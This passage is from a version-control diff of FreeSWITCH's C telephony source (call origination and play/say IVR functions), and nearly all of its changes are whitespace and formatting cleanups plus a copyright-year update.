myflags |= SOF_NO_EFFECTIVE_CID_NAME;
}
-
+
current_variable = NULL;
-
+
if (vdata && (var_begin = switch_stristr("origination_privacy=", vdata))) {
var_begin += strlen("origination_privacy=");
var_end = strchr(var_begin, '|');
if (var_end) {
- strncpy(variable_buffer, var_begin, var_end-var_begin);
+ strncpy(variable_buffer, var_begin, var_end - var_begin);
} else {
strncpy(variable_buffer, var_begin, strlen(var_begin));
}
current_variable = variable_buffer;
}
-
+
if (current_variable || (current_variable = switch_event_get_header(var_event, "origination_privacy"))) {
new_profile->flags = SWITCH_CPF_NONE;
-
+
if (switch_stristr("screen", current_variable)) {
switch_set_flag(new_profile, SWITCH_CPF_SCREEN);
}
@@ -2406,11 +2382,11 @@
current_variable = NULL;
switch_event_add_header_string(var_event, SWITCH_STACK_BOTTOM, "originate_early_media", oglobals.early_ok ? "true" : "false");
- if ((reason = switch_core_session_outgoing_channel(oglobals.session, var_event, chan_type,
+ if ((reason = switch_core_session_outgoing_channel(oglobals.session, var_event, chan_type,
new_profile, &new_session, &pool, myflags, cancel_cause)) != SWITCH_CAUSE_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot create outgoing channel of type [%s] cause: [%s]\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot create outgoing channel of type [%s] cause: [%s]\n",
chan_type, switch_channel_cause2str(reason));
-
+
if (pool) {
switch_core_destroy_memory_pool(&pool);
}
@@ -2498,16 +2474,16 @@
if ((vvar = switch_channel_get_variable(originate_status[i].peer_channel, "leg_timeout"))) {
int val = atoi(vvar);
if (val > 0) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Setting leg timeout to %d\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Setting leg timeout to %d\n",
switch_channel_get_name(originate_status[i].peer_channel), val);
originate_status[i].per_channel_timelimit_sec = (uint32_t) val;
}
}
-
+
if ((vvar = switch_channel_get_variable(originate_status[i].peer_channel, "leg_progress_timeout"))) {
int val = atoi(vvar);
if (val > 0) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Setting leg progress timeout to %d\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Setting leg progress timeout to %d\n",
switch_channel_get_name(originate_status[i].peer_channel), val);
originate_status[i].per_channel_progress_timelimit_sec = (uint32_t) val;
}
@@ -2516,7 +2492,7 @@
if ((vvar = switch_channel_get_variable(originate_status[i].peer_channel, "leg_delay_start"))) {
int val = atoi(vvar);
if (val > 0) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Setting leg delay start to %d\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Setting leg delay start to %d\n",
switch_channel_get_name(originate_status[i].peer_channel), val);
originate_status[i].per_channel_delay_start = (uint32_t) val;
@@ -2579,16 +2555,16 @@
if (caller_channel && !switch_channel_ready(caller_channel)) {
goto notready;
}
-
+
elapsed = switch_epoch_time_now(NULL) - start;
-
+
if (elapsed > (time_t) timelimit_sec) {
to++;
oglobals.idx = IDX_TIMEOUT;
goto notready;
}
- if (!oglobals.sent_ring && !oglobals.ignore_ring_ready &&
+ if (!oglobals.sent_ring && !oglobals.ignore_ring_ready &&
!oglobals.progress && (progress_timelimit_sec && elapsed > (time_t) progress_timelimit_sec)) {
to++;
oglobals.idx = IDX_TIMEOUT;
@@ -2597,7 +2573,7 @@
}
goto notready;
}
-
+
switch_cond_next();
}
@@ -2611,16 +2587,15 @@
}
- endfor1:
+ endfor1:
if (caller_channel) {
- if (switch_channel_test_flag(caller_channel, CF_PROXY_MODE) ||
+ if (switch_channel_test_flag(caller_channel, CF_PROXY_MODE) ||
switch_channel_test_flag(caller_channel, CF_PROXY_MEDIA) || switch_channel_test_flag(caller_channel, CF_DISABLE_RINGBACK)) {
ringback_data = NULL;
}
}
-
#if 0
/* changing behaviour ignore_early_media=true must also be explicitly set for previous behaviour */
@@ -2640,9 +2615,9 @@
}
while ((!caller_channel || switch_channel_ready(caller_channel) || switch_channel_test_flag(caller_channel, CF_XFER_ZOMBIE)) &&
- check_channel_status(&oglobals, originate_status, and_argc)) {
+ check_channel_status(&oglobals, originate_status, and_argc)) {
time_t elapsed = switch_epoch_time_now(NULL) - start;
-
+
if (cancel_cause && *cancel_cause > 0) {
if (force_reason == SWITCH_CAUSE_NONE) {
force_reason = *cancel_cause;
@@ -2667,18 +2642,18 @@
if ((to = (uint8_t) (elapsed >= (time_t) timelimit_sec)) || (fail_on_single_reject && oglobals.hups)) {
int ok = 0;
-
+
if (fail_on_single_reject_var && !switch_true(fail_on_single_reject_var)) {
ok = 1;
for (i = 0; i < and_argc; i++) {
switch_channel_t *pchannel;
const char *cause_str;
-
+
if (!originate_status[i].peer_session) {
continue;
}
pchannel = switch_core_session_get_channel(originate_status[i].peer_session);
-
+
if (switch_channel_down(pchannel)) {
cause_str = switch_channel_cause2str(switch_channel_get_cause(pchannel));
if (switch_stristr(cause_str, fail_on_single_reject_var)) {
@@ -2701,7 +2676,7 @@
!switch_channel_test_flag(caller_channel, CF_XFER_ZOMBIE) &&
(oglobals.ringback_ok
|| (switch_channel_test_flag(caller_channel, CF_ANSWERED) || switch_channel_test_flag(caller_channel, CF_EARLY_MEDIA)))) {
-
+
switch_status_t tstatus = SWITCH_STATUS_SUCCESS;
int silence = 0;
@@ -2733,13 +2708,13 @@
read_frame = NULL;
}
-
- if (oglobals.ringback_ok && (oglobals.ring_ready || oglobals.instant_ringback ||
+
+ if (oglobals.ringback_ok && (oglobals.ring_ready || oglobals.instant_ringback ||
oglobals.sending_ringback > 1 || oglobals.bridge_early_media > -1)) {
if (oglobals.ringback_ok == 1) {
switch_status_t rst = setup_ringback(&oglobals, ringback_data, &ringback, &write_frame, &write_codec);
-
+
if (oglobals.bridge_early_media > -1) {
switch_threadattr_t *thd_attr = NULL;
switch_threadattr_create(&thd_attr, switch_core_session_get_pool(session));
@@ -2751,8 +2726,8 @@
switch_buffer_create_dynamic(&early_state.buffer, 1024, 1024, 0);
switch_thread_create(&oglobals.ethread, thd_attr, early_thread_run, &early_state, switch_core_session_get_pool(session));
}
-
-
+
+
switch (rst) {
case SWITCH_STATUS_SUCCESS:
oglobals.ringback_ok++;
@@ -2772,12 +2747,12 @@
continue;
}
-
- if (oglobals.bridge_early_media > -1) {
+
+ if (oglobals.bridge_early_media > -1) {
write_frame.datalen = 0;
switch_mutex_lock(early_state.mutex);
if (switch_buffer_inuse(early_state.buffer) >= write_frame.codec->implementation->decoded_bytes_per_packet) {
- write_frame.datalen = switch_buffer_read(early_state.buffer, write_frame.data,
+ write_frame.datalen = switch_buffer_read(early_state.buffer, write_frame.data,
write_frame.codec->implementation->decoded_bytes_per_packet);
}
switch_mutex_unlock(early_state.mutex);
@@ -2792,11 +2767,11 @@
}
olen = mlen;
-
+
//if (ringback.fh->resampler && ringback.fh->resampler->rfactor > 1) {
//olen = (switch_size_t) (olen * ringback.fh->resampler->rfactor);
//}
-
+
switch_core_file_read(ringback.fh, write_frame.data, &olen);
if (olen == 0) {
@@ -2812,7 +2787,8 @@
} else if (ringback.audio_buffer) {
if ((write_frame.datalen = (uint32_t) switch_buffer_read_loop(ringback.audio_buffer,
write_frame.data,
- write_frame.codec->implementation->decoded_bytes_per_packet)) <= 0) {
+ write_frame.codec->implementation->decoded_bytes_per_packet)) <=
+ 0) {
if (soft_holding) {
switch_channel_set_flag(caller_channel, CF_XFER_ZOMBIE);
@@ -2827,13 +2803,13 @@
} else {
silence = 600;
}
-
+
if ((ringback.fh || silence || ringback.audio_buffer || oglobals.bridge_early_media > -1) && write_frame.codec && write_frame.datalen) {
if (silence) {
write_frame.datalen = write_frame.codec->implementation->decoded_bytes_per_packet;
switch_generate_sln_silence((int16_t *) write_frame.data, write_frame.datalen / 2, silence);
}
-
+
if (switch_core_session_write_frame(oglobals.session, &write_frame, SWITCH_IO_FLAG_NONE, 0) != SWITCH_STATUS_SUCCESS) {
if (soft_holding) {
switch_channel_set_flag(caller_channel, CF_XFER_ZOMBIE);
@@ -2844,13 +2820,13 @@
break;
}
}
-
+
} else {
switch_cond_next();
}
-
+
}
-
+
notready:
if (caller_channel) {
@@ -2863,13 +2839,13 @@
switch_channel_set_variable(caller_channel, SWITCH_SOFT_HOLDING_UUID_VARIABLE, NULL);
}
}
-
+
if (caller_channel && !switch_channel_ready(caller_channel) && !switch_channel_test_flag(caller_channel, CF_XFER_ZOMBIE)) {
oglobals.idx = IDX_CANCEL;
}
if (oglobals.session && (ringback_data || !(switch_channel_test_flag(caller_channel, CF_PROXY_MODE) &&
- switch_channel_test_flag(caller_channel, CF_PROXY_MEDIA)))) {
+ switch_channel_test_flag(caller_channel, CF_PROXY_MEDIA)))) {
switch_core_session_reset(oglobals.session, SWITCH_FALSE, SWITCH_TRUE);
}
@@ -2906,17 +2882,17 @@
}
}
}
-
- end_search:
+ end_search:
+
if (peer_channel && switch_channel_down(peer_channel)) {
switch_core_session_rwunlock(peer_session);
peer_session = NULL;
peer_channel = NULL;
}
-
- if (oglobals.idx == IDX_TIMEOUT || to || oglobals.idx == IDX_KEY_CANCEL || oglobals.idx == IDX_CANCEL ||
+
+ if (oglobals.idx == IDX_TIMEOUT || to || oglobals.idx == IDX_KEY_CANCEL || oglobals.idx == IDX_CANCEL ||
(!peer_session && oglobals.idx == IDX_NADA)) {
const char *dest = NULL;
const char *context = NULL;
@@ -2925,13 +2901,13 @@
if (caller_channel) {
if (zstr(context)) {
- context = switch_channel_get_variable(caller_channel, "context");
+ context = switch_channel_get_variable(caller_channel, "context");
}
if (zstr(dialplan)) {
- dialplan = switch_channel_get_variable(caller_channel, "dialplan");
+ dialplan = switch_channel_get_variable(caller_channel, "dialplan");
}
}
-
+
if (zstr(context)) {
context = "default";
}
@@ -3019,12 +2995,12 @@
peer_session = NULL;
peer_channel = NULL;
}
-
+
for (i = 0; i < and_argc; i++) {
if (!peer_eligible(originate_status[i].peer_channel)) {
continue;
}
-
+
if (i != oglobals.idx) {
holding = NULL;
@@ -3043,10 +3019,10 @@
}
if (switch_channel_up(originate_status[i].peer_channel)) {
if (caller_channel && i == 0) {
- holding = switch_channel_get_variable(caller_channel, SWITCH_SOFT_HOLDING_UUID_VARIABLE);
- switch_channel_set_variable(caller_channel, SWITCH_SOFT_HOLDING_UUID_VARIABLE, NULL);
- }
-
+ holding = switch_channel_get_variable(caller_channel, SWITCH_SOFT_HOLDING_UUID_VARIABLE);
+ switch_channel_set_variable(caller_channel, SWITCH_SOFT_HOLDING_UUID_VARIABLE, NULL);
+ }
+
if (holding && oglobals.idx != IDX_TIMEOUT && oglobals.idx != IDX_KEY_CANCEL) {
switch_core_session_t *holding_session;
@@ -3054,17 +3030,17 @@
switch_channel_set_variable(switch_core_session_get_channel(holding_session), SWITCH_HANGUP_AFTER_BRIDGE_VARIABLE, "true");
switch_core_session_rwunlock(holding_session);
}
- switch_ivr_uuid_bridge(holding, switch_core_session_get_uuid(originate_status[i].peer_session));
+ switch_ivr_uuid_bridge(holding, switch_core_session_get_uuid(originate_status[i].peer_session));
holding = NULL;
- } else {
+ } else {
switch_channel_hangup(originate_status[i].peer_channel, force_reason ? force_reason : reason);
}
}
}
}
-
+
if (oglobals.idx > IDX_NADA) {
if ((peer_session = originate_status[oglobals.idx].peer_session)) {
peer_channel = switch_core_session_get_channel(originate_status[oglobals.idx].peer_session);
@@ -3089,7 +3065,7 @@
}
if (status != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(peer_channel), SWITCH_LOG_DEBUG, "%s Media Establishment Failed.\n",
+ switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(peer_channel), SWITCH_LOG_DEBUG, "%s Media Establishment Failed.\n",
switch_channel_get_name(caller_channel));
switch_channel_hangup(peer_channel, SWITCH_CAUSE_INCOMPATIBLE_DESTINATION);
}
@@ -3112,7 +3088,7 @@
}
done:
-
+
*cause = SWITCH_CAUSE_NONE;
if (caller_channel && !switch_channel_ready(caller_channel)) {
@@ -3126,7 +3102,7 @@
switch_process_import(oglobals.session, peer_channel, "import");
}
}
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(oglobals.session), SWITCH_LOG_DEBUG, "Originate Resulted in Success: [%s]\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(oglobals.session), SWITCH_LOG_DEBUG, "Originate Resulted in Success: [%s]\n",
switch_channel_get_name(peer_channel));
*cause = SWITCH_CAUSE_SUCCESS;
@@ -3141,7 +3117,7 @@
}
if (peer_channel) {
- *cause = switch_channel_get_cause(peer_channel);
+ *cause = switch_channel_get_cause(peer_channel);
} else {
for (i = 0; i < and_argc; i++) {
if (!originate_status[i].peer_channel) {
@@ -3151,23 +3127,23 @@
break;
}
}
-
+
if (cdr_var) {
for (i = 0; i < and_argc; i++) {
switch_channel_t *channel;
if (!originate_status[i].peer_session) {
- continue;
- }
+ continue;
+ }
channel = switch_core_session_get_channel(originate_status[i].peer_session);
-
+
switch_channel_wait_for_state_timeout(channel, CS_REPORTING, 5000);
-
+
if (!switch_channel_test_flag(channel, CF_TIMESTAMP_SET)) {
switch_channel_set_timestamps(channel);
}
-
+
if (switch_ivr_generate_xml_cdr(originate_status[i].peer_session, &cdr) == SWITCH_STATUS_SUCCESS) {
if ((xml_text = switch_xml_toxml(cdr, SWITCH_FALSE))) {
switch_snprintf(buf, sizeof(buf), "%s_%d", cdr_var, ++cdr_total);
@@ -3216,7 +3192,7 @@
}
early_state.ready = 0;
-
+
if (oglobals.ethread) {
switch_status_t st;
switch_thread_join(&st, oglobals.ethread);
@@ -3248,15 +3224,15 @@
if (!originate_status[i].peer_channel) {
continue;
}
-
- if (status == SWITCH_STATUS_SUCCESS) {
+
+ if (status == SWITCH_STATUS_SUCCESS) {
switch_channel_clear_flag(originate_status[i].peer_channel, CF_ORIGINATING);
if (bleg && *bleg && *bleg == originate_status[i].peer_session) {
continue;
}
- } else if ((state=switch_channel_get_state(originate_status[i].peer_channel)) < CS_HANGUP &&
+ } else if ((state = switch_channel_get_state(originate_status[i].peer_channel)) < CS_HANGUP &&
switch_channel_test_flag(originate_status[i].peer_channel, CF_ORIGINATING)) {
- if (!(state == CS_RESET || switch_channel_test_flag(originate_status[i].peer_channel, CF_TRANSFER) ||
+ if (!(state == CS_RESET || switch_channel_test_flag(originate_status[i].peer_channel, CF_TRANSFER) ||
switch_channel_test_flag(originate_status[i].peer_channel, CF_REDIRECT) ||
switch_channel_test_flag(originate_status[i].peer_channel, CF_BRIDGED))) {
switch_channel_hangup(originate_status[i].peer_channel, *cause);
@@ -3277,7 +3253,7 @@
for (i = 0; i < and_argc; i++) {
switch_channel_t *pchannel;
const char *cause_str;
-
+
if (!originate_status[i].peer_session) {
continue;
}
@@ -3313,7 +3289,7 @@
if (*bleg) {
if (session && caller_channel) {
switch_caller_profile_t *cloned_profile, *peer_profile = switch_channel_get_caller_profile(switch_core_session_get_channel(*bleg));
-
+
if (peer_profile) {
if ((cloned_profile = switch_caller_profile_clone(session, peer_profile)) != 0) {
switch_channel_set_originatee_caller_profile(caller_channel, cloned_profile);
@@ -3334,7 +3310,7 @@
switch_safe_free(write_frame.data);
switch_safe_free(fail_on_single_reject_var);
-
+
if (caller_channel) {
switch_channel_clear_flag(caller_channel, CF_ORIGINATOR);
switch_channel_clear_flag(caller_channel, CF_XFER_ZOMBIE);
Modified: freeswitch/trunk/src/switch_ivr_play_say.c (16578 => 16579)
--- freeswitch/trunk/src/switch_ivr_play_say.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_ivr_play_say.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -185,7 +185,7 @@
old_sound_prefix = p;
switch_channel_set_variable(channel, "sound_prefix", sound_path);
}
-
+
if (!(macro = switch_xml_child(language, "macro"))) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Can't find any macro tags.\n");
goto done;
@@ -269,9 +269,10 @@
} else {
odata = expanded;
}
-
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Handle %s:[%s] (%s:%s)\n", func, odata, chan_lang, module_name);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Handle %s:[%s] (%s:%s)\n", func, odata, chan_lang,
+ module_name);
+
if (!strcasecmp(func, "play-file")) {
status = switch_ivr_play_file(session, NULL, odata, args);
} else if (!strcasecmp(func, "phrase")) {
@@ -357,7 +358,7 @@
input = input->next;
}
- done:
+ done:
if (hint_data) {
switch_event_destroy(&hint_data);
@@ -393,21 +394,21 @@
uint32_t org_silence_hits = 0;
int asis = 0;
int waste_resources = 0;
- switch_codec_implementation_t read_impl = {0};
+ switch_codec_implementation_t read_impl = { 0 };
switch_frame_t write_frame = { 0 };
unsigned char write_buf[SWITCH_RECOMMENDED_BUFFER_SIZE] = { 0 };
switch_event_t *event;
int divisor = 0;
int file_flags = SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT;
const char *prefix;
-
+
prefix = switch_channel_get_variable(channel, "sound_prefix");
-
+
if (!prefix) {
prefix = SWITCH_GLOBAL_dirs.sounds_dir;
}
- switch_core_session_get_read_impl(session, &read_impl);
+ switch_core_session_get_read_impl(session, &read_impl);
if (!(divisor = read_impl.actual_samples_per_second / 8000)) {
divisor = 1;
@@ -421,7 +422,7 @@
if (switch_channel_answer(channel) != SWITCH_STATUS_SUCCESS) {
return SWITCH_STATUS_FALSE;
}
-
+
if (!switch_channel_media_ready(channel)) {
return SWITCH_STATUS_FALSE;
}
@@ -445,7 +446,7 @@
if ((vval = switch_channel_get_variable(channel, "record_waste_resources"))) {
-
+
if (switch_true(vval)) {
waste_resources = 1400;
} else {
@@ -472,7 +473,7 @@
return SWITCH_STATUS_FALSE;
}
}
-
+
if (!strstr(file, SWITCH_URL_SEPARATOR)) {
char *ext;
@@ -489,7 +490,7 @@
tfile = NULL;
}
}
-
+
file = switch_core_session_sprintf(session, "%s%s%s%s%s", switch_str_nil(tfile), tfile ? "]" : "", prefix, SWITCH_PATH_SEPARATOR, file);
}
if ((ext = strrchr(file, '.'))) {
@@ -513,12 +514,8 @@
if (!fh->prefix) {
fh->prefix = prefix;
}
-
- if (switch_core_file_open(fh,
- file,
- fh->channels,
- read_impl.actual_samples_per_second,
- file_flags, NULL) != SWITCH_STATUS_SUCCESS) {
+
+ if (switch_core_file_open(fh, file, fh->channels, read_impl.actual_samples_per_second, file_flags, NULL) != SWITCH_STATUS_SUCCESS) {
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
return SWITCH_STATUS_GENERR;
@@ -589,7 +586,7 @@
if (limit) {
start = switch_epoch_time_now(NULL);
}
-
+
if (fh->thresh) {
if (asis) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Can't detect silence on a native recording.\n");
@@ -632,9 +629,9 @@
if (args && (args->input_callback || args->buf || args->buflen)) {
/*
- dtmf handler function you can hook up to be executed when a digit is dialed during playback
- if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
- */
+ dtmf handler function you can hook up to be executed when a digit is dialed during playback
+ if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
+ */
if (switch_channel_has_dtmf(channel)) {
if (!args->input_callback && !args->buf) {
status = SWITCH_STATUS_BREAK;
@@ -700,7 +697,7 @@
if (!switch_test_flag(fh, SWITCH_FILE_PAUSE) && !switch_test_flag(read_frame, SFF_CNG)) {
int16_t *data = read_frame->data;
len = (switch_size_t) asis ? read_frame->datalen : read_frame->datalen / 2;
-
+
if (switch_core_file_write(fh, data, &len) != SWITCH_STATUS_SUCCESS) {
break;
}
@@ -727,7 +724,7 @@
switch_core_file_close(fh);
- if (read_impl.samples_per_second) {
+ if (read_impl.samples_per_second) {
switch_channel_set_variable_printf(channel, "record_seconds", "%d", fh->samples_out / read_impl.samples_per_second);
switch_channel_set_variable_printf(channel, "record_ms", "%d", fh->samples_out / (read_impl.samples_per_second / 1000));
@@ -764,8 +761,8 @@
switch_frame_t write_frame = { 0 };
switch_byte_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
switch_channel_t *channel = switch_core_session_get_channel(session);
- switch_codec_implementation_t read_impl = {0};
- switch_core_session_get_read_impl(session, &read_impl);
+ switch_codec_implementation_t read_impl = { 0 };
+ switch_core_session_get_read_impl(session, &read_impl);
if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
return SWITCH_STATUS_FALSE;
@@ -828,9 +825,9 @@
if (args && (args->input_callback || args->buf || args->buflen)) {
/*
- dtmf handler function you can hook up to be executed when a digit is dialed during gentones
- if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
- */
+ dtmf handler function you can hook up to be executed when a digit is dialed during gentones
+ if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
+ */
if (switch_channel_has_dtmf(channel)) {
if (!args->input_callback && !args->buf) {
status = SWITCH_STATUS_BREAK;
@@ -914,14 +911,14 @@
int eof = 0;
switch_size_t bread = 0;
int l16 = 0;
- switch_codec_implementation_t read_impl = {0};
+ switch_codec_implementation_t read_impl = { 0 };
char *file_dup;
char *argv[128] = { 0 };
int argc;
int cur;
int done = 0;
- switch_core_session_get_read_impl(session, &read_impl);
+ switch_core_session_get_read_impl(session, &read_impl);
if ((play_delimiter_val = switch_channel_get_variable(channel, "playback_delimiter"))) {
play_delimiter = *play_delimiter_val;
@@ -949,27 +946,27 @@
l16++;
}
-
+
if (play_delimiter) {
file_dup = switch_core_session_strdup(session, file);
argc = switch_separate_string(file_dup, play_delimiter, argv, (sizeof(argv) / sizeof(argv[0])));
} else {
argc = 1;
- argv[0] = (char *)file;
+ argv[0] = (char *) file;
}
- for(cur = 0; switch_channel_ready(channel) && !done && cur < argc; cur++) {
+ for (cur = 0; switch_channel_ready(channel) && !done && cur < argc; cur++) {
file = argv[cur];
asis = 0;
eof = 0;
-
+
if (cur) {
fh->samples = sample_start = 0;
if (sleep_val_i) {
switch_ivr_sleep(session, sleep_val_i, SWITCH_FALSE, args);
}
}
-
+
status = SWITCH_STATUS_SUCCESS;
if ((alt = strchr(file, ':'))) {
@@ -1061,7 +1058,7 @@
}
}
-
+
if (!fh) {
fh = &lfh;
memset(fh, 0, sizeof(lfh));
@@ -1078,8 +1075,8 @@
fh->prebuf = maybe;
}
}
-
+
if (!fh->prefix) {
fh->prefix = prefix;
}
@@ -1087,8 +1084,7 @@
if (switch_core_file_open(fh,
file,
read_impl.number_of_channels,
- read_impl.actual_samples_per_second,
- SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
+ read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
switch_core_session_reset(session, SWITCH_TRUE, SWITCH_FALSE);
status = SWITCH_STATUS_NOTFOUND;
continue;
@@ -1161,8 +1157,8 @@
interval, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, pool) == SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session),
SWITCH_LOG_DEBUG, "Codec Activated %s@%uhz %u channels %dms\n", codec_name, fh->samplerate, fh->channels, interval);
-
+
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
"Raw Codec Activation Failed %s@%uhz %u channels %dms\n", codec_name, fh->samplerate, fh->channels, interval);
@@ -1208,27 +1204,27 @@
if (!switch_channel_ready(channel)) {
status = SWITCH_STATUS_FALSE;
- break;
+ break;
}
if (switch_channel_test_flag(channel, CF_BREAK)) {
switch_channel_clear_flag(channel, CF_BREAK);
status = SWITCH_STATUS_BREAK;
- break;
+ break;
}
switch_ivr_parse_all_events(session);
if (args && (args->input_callback || args->buf || args->buflen)) {
/*
- dtmf handler function you can hook up to be executed when a digit is dialed during playback
- if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
- */
+ dtmf handler function you can hook up to be executed when a digit is dialed during playback
+ if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
+ */
if (switch_channel_has_dtmf(channel)) {
if (!args->input_callback && !args->buf) {
status = SWITCH_STATUS_BREAK;
done = 1;
- break;
+ break;
}
switch_channel_dequeue_dtmf(channel, &dtmf);
if (args->input_callback) {
@@ -1250,7 +1246,7 @@
if (status != SWITCH_STATUS_SUCCESS) {
done = 1;
- break;
+ break;
}
}
@@ -1266,7 +1262,7 @@
if (eof) {
continue;
} else {
- break;
+ break;
}
}
@@ -1279,7 +1275,7 @@
} else if (fh->audio_buffer && (eof || (switch_buffer_inuse(fh->audio_buffer) > (switch_size_t) (framelen)))) {
if (!(bread = switch_buffer_read(fh->audio_buffer, abuf, framelen))) {
if (eof) {
- break;
+ break;
} else {
continue;
}
@@ -1310,7 +1306,7 @@
}
if (done || olen <= 0) {
- break;
+ break;
}
if (!asis) {
@@ -1413,18 +1409,18 @@
continue;
} else if (status != SWITCH_STATUS_SUCCESS) {
done = 1;
- break;
+ break;
}
if (done) {
- break;
+ break;
}
if (timer_name) {
if (switch_core_timer_next(&timer) != SWITCH_STATUS_SUCCESS) {
- break;
+ break;
}
- } else { /* time off the channel (if you must) */
+ } else { /* time off the channel (if you must) */
switch_frame_t *read_frame;
switch_status_t tstatus;
while (switch_channel_ready(channel) && switch_channel_test_flag(channel, CF_HOLD)) {
@@ -1434,7 +1430,7 @@
tstatus = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, 0);
if (!SWITCH_READ_ACCEPTABLE(tstatus)) {
- break;
+ break;
}
if (args && (args->read_frame_callback)) {
@@ -1445,19 +1441,17 @@
}
switch_clear_flag(fh, SWITCH_FILE_CALLBACK);
if (!ok) {
- break;
+ break;
}
}
}
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "done playing file\n");
-
+
if (read_impl.samples_per_second) {
- switch_channel_set_variable_printf(channel, "playback_seconds",
- "%d", fh->samples_out / read_impl.samples_per_second);
- switch_channel_set_variable_printf(channel, "playback_ms",
- "%d", fh->samples_out / (read_impl.samples_per_second / 1000) );
+ switch_channel_set_variable_printf(channel, "playback_seconds", "%d", fh->samples_out / read_impl.samples_per_second);
+ switch_channel_set_variable_printf(channel, "playback_ms", "%d", fh->samples_out / (read_impl.samples_per_second / 1000));
}
switch_channel_set_variable_printf(channel, "playback_samples", "%d", fh->samples_out);
@@ -1466,7 +1460,7 @@
if (fh->audio_buffer) {
switch_buffer_destroy(&fh->audio_buffer);
}
-
+
if (fh->sp_audio_buffer) {
switch_buffer_destroy(&fh->sp_audio_buffer);
}
@@ -1502,13 +1496,13 @@
int16_t *data;
uint32_t listening = 0;
int countdown = 0;
- switch_codec_t raw_codec = {0};
+ switch_codec_t raw_codec = { 0 };
int16_t *abuf = NULL;
- switch_frame_t write_frame = {0};
- switch_file_handle_t fh = {0};
+ switch_frame_t write_frame = { 0 };
+ switch_file_handle_t fh = { 0 };
int32_t sample_count = 0;
- switch_codec_implementation_t read_impl = {0};
- switch_core_session_get_read_impl(session, &read_impl);
+ switch_codec_implementation_t read_impl = { 0 };
+ switch_core_session_get_read_impl(session, &read_impl);
if (timeout_ms) {
@@ -1519,8 +1513,7 @@
if (switch_core_file_open(&fh,
file,
read_impl.number_of_channels,
- read_impl.actual_samples_per_second,
- SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
+ read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
switch_core_session_reset(session, SWITCH_TRUE, SWITCH_FALSE);
return SWITCH_STATUS_NOTFOUND;
}
@@ -1552,7 +1545,7 @@
while (switch_channel_ready(channel)) {
status = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, 0);
-
+
if (!SWITCH_READ_ACCEPTABLE(status)) {
break;
}
@@ -1563,21 +1556,21 @@
break;
}
}
-
+
if (abuf) {
switch_size_t olen = raw_codec.implementation->samples_per_packet;
-
+
if (switch_core_file_read(&fh, abuf, &olen) != SWITCH_STATUS_SUCCESS) {
- break;
- }
-
- write_frame.samples = (uint32_t)olen;
- write_frame.datalen = (uint32_t)(olen * sizeof(int16_t));
+ break;
+ }
+
+ write_frame.samples = (uint32_t) olen;
+ write_frame.datalen = (uint32_t) (olen * sizeof(int16_t));
if ((status = switch_core_session_write_frame(session, &write_frame, SWITCH_IO_FLAG_NONE, 0)) != SWITCH_STATUS_SUCCESS) {
break;
}
}
-
+
if (countdown) {
if (!--countdown) {
break;
@@ -1587,14 +1580,14 @@
}
data = (int16_t *) read_frame->data;
-
+
